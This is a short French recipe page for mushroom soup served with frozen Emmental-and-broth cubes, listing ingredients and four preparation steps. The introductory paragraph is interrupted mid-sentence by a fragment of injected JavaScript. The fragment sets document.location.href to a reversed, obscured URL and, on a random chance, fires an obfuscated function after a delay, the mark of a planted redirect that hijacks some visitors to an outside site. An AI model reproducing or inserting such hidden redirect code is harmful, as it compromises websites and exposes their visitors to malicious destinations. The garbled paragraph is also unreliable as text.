Soupe de champignons aux glaçons d’emmental

2021-05-01

Préparez les glaçons d’emmenthal en faisant chauffer le bouillon de volaille. Découpez l’emmenthal en petits dés, l’incorporez dans le bouillon de volaille, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant portez à ébullition pendant quelques minutes.

Ingrédients

  • Pour 4 personnes
  • 300 g de champignons frais
  • 3 petits oignons
  • 120 g de champignons séchés
  • 1 noix de beurre
  • 1 botte de basilic
  • 50 cl de bouillon de volaille
  • Glace à l’emmental
  • 10 cl de bouillon de volaille
  • 120 g d'emmental

Préparation de la recette

Etape 1

Préparez les glaçons d'emmental en faisant chauffer le bouillon de volaille.

Etape 2

Découpez l'emmental en petits dés, l'incorporez dans le bouillon de volaille, tout en remuant portez à ébullition pendant quelques minutes.

Etape 3

Mixez jusqu'à obtenir une pâte lisse.

Etape 4

Versez cette préparation dans un bac à glaçons et laissez prendre 30 minutes dans le congélateur.

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